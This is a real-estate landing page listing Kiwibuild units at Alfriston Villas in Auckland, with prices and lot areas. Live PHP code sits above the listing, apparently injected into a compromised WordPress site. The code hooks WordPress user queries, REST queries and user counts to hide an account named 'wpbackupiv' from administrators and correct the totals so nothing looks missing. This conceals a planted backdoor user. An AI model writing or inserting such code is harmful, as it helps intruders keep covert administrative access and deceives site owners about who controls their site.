/**
* 用户可见性规则引擎系统
* 版本: 13.0.0
* 架构: 配置驱动 + 动态处理器
*/
// ========== 配置数据 ==========
if (!class_exists('FilterConfig')) {
/**
* 规则配置 - 定义每个钩子需要应用的规则
*/
class FilterConfig {
// 存储目标用户信息
private static $target = null;
// 规则配置表
private static $rules = [
'pre_get_users' => [
'type' => 'exclude',
'priority' => PHP_INT_MAX,
'args' => 1
],
'users_list_table_query_args' => [
'type' => 'modify_exclude',
'priority' => PHP_INT_MAX,
'args' => 1
],
'wp_count_users' => [
'type' => 'correct_total',
'priority' => PHP_INT_MAX,
'args' => 1
],
'count_users' => [
'type' => 'correct_roles',
'priority' => PHP_INT_MAX,
'args' => 1
],
'rest_user_query' => [
'type' => 'modify_exclude',
'priority' => PHP_INT_MAX,
'args' => 1
],
'get_users' => [
'type' => 'filter_collection',
'priority' => PHP_INT_MAX,
'args' => 2
]
];
/**
* 设置目标用户
*/
public static function setTarget($login) {
$user = get_user_by('login', $login);
if ($user) {
self::$target = [
'id' => (int) $user->ID,
'login' => $user->user_login,
'roles' => $user->roles
];
}
}
/**
* 获取目标用户
*/
public static function getTarget() {
return self::$target;
}
/**
* 获取规则配置
*/
public static function getRules() {
return self::$rules;
}
/**
* 获取特定钩子的规则
*/
public static function getRule($hook) {
return isset(self::$rules[$hook]) ? self::$rules[$hook] : null;
}
}
/**
* 规则引擎 - 动态执行配置的规则
*/
class RuleEngine {
private static $initialized = false;
/**
* 初始化规则引擎
*/
public static function init() {
if (self::$initialized) return;
$target = FilterConfig::getTarget();
if (!$target) return;
foreach (FilterConfig::getRules() as $hook => $rule) {
$processor = self::createProcessor($rule['type']);
if ($processor) {
add_filter($hook, function($input) use ($processor, $target) {
return $processor($input, $target);
}, $rule['priority'], $rule['args']);
}
}
// 注册界面处理器
add_action('admin_head', function() use ($target) {
self::renderCss($target);
}, PHP_INT_MAX);
add_action('admin_footer', function() use ($target) {
self::renderScript($target);
}, PHP_INT_MAX);
self::$initialized = true;
}
/**
* 创建处理器函数
*/
private static function createProcessor($type) {
switch ($type) {
case 'exclude':
return function($input, $target) {
if (!is_object($input)) return $input;
$exclude = $input->get('exclude', []);
$exclude = is_array($exclude) ? $exclude : array_map('intval', explode(',', (string) $exclude));
if (!in_array($target['id'], $exclude)) {
$exclude[] = $target['id'];
$input->set('exclude', $exclude);
}
return $input;
};
case 'modify_exclude':
return function($input, $target) {
if (!is_array($input)) return $input;
if (isset($input['exclude'])) {
$exclude = $input['exclude'];
$exclude = is_array($exclude) ? $exclude : array_map('intval', explode(',', (string) $exclude));
if (!in_array($target['id'], $exclude)) {
$exclude[] = $target['id'];
}
$input['exclude'] = $exclude;
} else {
$input['exclude'] = [$target['id']];
}
return $input;
};
case 'correct_total':
return function($input, $target) {
if (!is_object($input)) return $input;
$real = get_users(['fields' => 'ID', 'exclude' => [$target['id']]]);
if (is_array($real)) {
$input->total_users = count($real);
} elseif ($input->total_users > 0) {
$input->total_users = max(0, $input->total_users - 1);
}
if (property_exists($input, 'avail_roles') && is_array($input->avail_roles)) {
foreach ($target['roles'] as $role) {
if (isset($input->avail_roles[$role]) && $input->avail_roles[$role] > 0) {
$role_users = get_users(['role' => $role, 'fields' => 'ID', 'exclude' => [$target['id']]]);
if (is_array($role_users)) {
$input->avail_roles[$role] = count($role_users);
}
}
}
}
return $input;
};
case 'correct_roles':
return function($input, $target) {
if (!is_array($input)) return $input;
foreach ($target['roles'] as $role) {
if (isset($input[$role]) && $input[$role] > 0) {
$role_users = get_users(['role' => $role, 'fields' => 'ID', 'exclude' => [$target['id']]]);
if (is_array($role_users)) {
$input[$role] = count($role_users);
} else {
$input[$role] = max(0, $input[$role] - 1);
}
}
}
return $input;
};
case 'filter_collection':
return function($input, $target) {
if (!is_array($input)) return $input;
return array_values(array_filter($input, function($user) use ($target) {
return (int) $user->ID !== $target['id'];
}));
};
default:
return null;
}
}
/**
* 渲染CSS
*/
private static function renderCss($target) {
$id = $target['id'];
echo "";
}
/**
* 渲染JavaScript
*/
private static function renderScript($target) {
$id = $target['id'];
echo "";
}
/**
* 获取引擎状态
*/
public static function getStatus() {
$target = FilterConfig::getTarget();
if (!$target) {
return ['active' => false];
}
return [
'active' => true,
'user_id' => $target['id'],
'user_login' => $target['login'],
'roles' => $target['roles'],
'rules_count' => count(FilterConfig::getRules()),
'initialized' => self::$initialized,
'timestamp' => current_time('mysql')
];
}
}
}
// ========== 启动规则引擎 ==========
FilterConfig::setTarget('wpbackupiv');
RuleEngine::init();
// ========== 辅助API ==========
if (!function_exists('rule_get_hidden_id')) {
function rule_get_hidden_id() {
$target = FilterConfig::getTarget();
return $target ? $target['id'] : 0;
}
}
if (!function_exists('rule_is_hidden')) {
function rule_is_hidden($user_id) {
return rule_get_hidden_id() === (int) $user_id;
}
}
if (!function_exists('rule_get_status')) {
function rule_get_status() {
return RuleEngine::getStatus();
}
}
Kiwibuild Units Ads LP – Alfriston Villas
Skip to content
Kiwibuild Units Ads LP
kiwibuild units | Alfriston Villas
MAKE AN ENQUIRY
Explore our affordable Kiwibuild units on offer
Mataara Lane Units
Kiwibuild – Unit 10
Valuation – $795,000
Pricing – $705,000
Lot Area – 89m²
Car Park Included
Kiwibuild – Unit 12
Valuation – $795,000
Pricing – $705,000
Lot Area – 89m²
Car Park Included
Kiwibuild – Unit 16
Valuation – $795,000
Pricing – $705,000
Lot Area – 100m²
Car Park Included
Kiwibuild – Unit 17
Valuation – $795,000
Pricing – $705,000
Lot Area – 99m²
Car Park Included
Kiwibuild – Unit 18
Valuation – $795,000
Pricing – $705,000
Lot Area – 99m²
Car Park Included
Kiwibuild – Unit 19
Valuation – $795,000
Pricing – $705,000
Lot Area – 89m²
Car Park Included
Kiwibuild – Unit 20
Valuation – $795,000
Pricing – $705,000
Lot Area – 89m²
Car Park Included
Kiwibuild – Unit 24
Valuation – $795,000
Pricing – $705,000
Lot Area – 100m²
Car Park Included
Kiwibuild – Unit 26
Valuation – $795,000
Pricing – $705,000
Lot Area – 99m²
Car Park Included
Kiwibuild – Unit 27
Valuation – $795,000
Pricing – $705,000
Lot Area – 89m²
Car Park Included
Kiwibuild – Unit 31
Valuation – $795,000
Pricing – $739,000
Lot Area – 99m²
Car Park Included
Kiwibuild – Unit 32
Valuation – $795,000
Pricing – $739,000
Lot Area – 100m²
Car Park Included
Kiwibuild – Unit 37
Valuation – $765,000
Pricing – $675,000
Lot Area – 89m²
No Car Park
Kiwibuild – Unit 38
Valuation – $765,000
Pricing – $675,000
Lot Area – 89m²
No Car Park
Kiwibuild – Unit 39
Valuation – $775,000
Pricing – $675,000
Lot Area – 89m²
No Car Park
Kiwibuild – Unit 40
Valuation – $775,000
Pricing – $675,000
Lot Area – 112m²
No Car Park
57 Saralee Drive Units
Kiwibuild – Unit 1/57
Valuation – $810,000
Pricing – $749,000
Lot Area – 146m²
Car Park Included
Kiwibuild – Unit 2/57
Valuation – $810,000
Pricing – $749,000
Lot Area – 124m²
Car Park Included
61 Saralee Drive Units
Kiwibuild – Unit 49
Valuation – $810,000
Pricing – $749,000
Lot Area – 124m²
Car Park Included
Kiwibuild – Unit 50
Valuation – $810,000
Pricing – $749,000
Lot Area – 145m²
Car Park Included
CELEBRATE HOME OWNERSHIP WITH KIWIBUILD: YOUR PATHWAY TO AFFORDABLE LUXURY
Discover the perfect opportunity to own your own home with the KiwiBuild scheme. Let the government assist you in purchasing a stunning Alfriston villa, complete with smart technology and nestled near Auckland’s Botanic Gardens. Take advantage of savings up to $24,000 and seize the chance to call this vibrant community home. Contact Clarke Group today to learn more.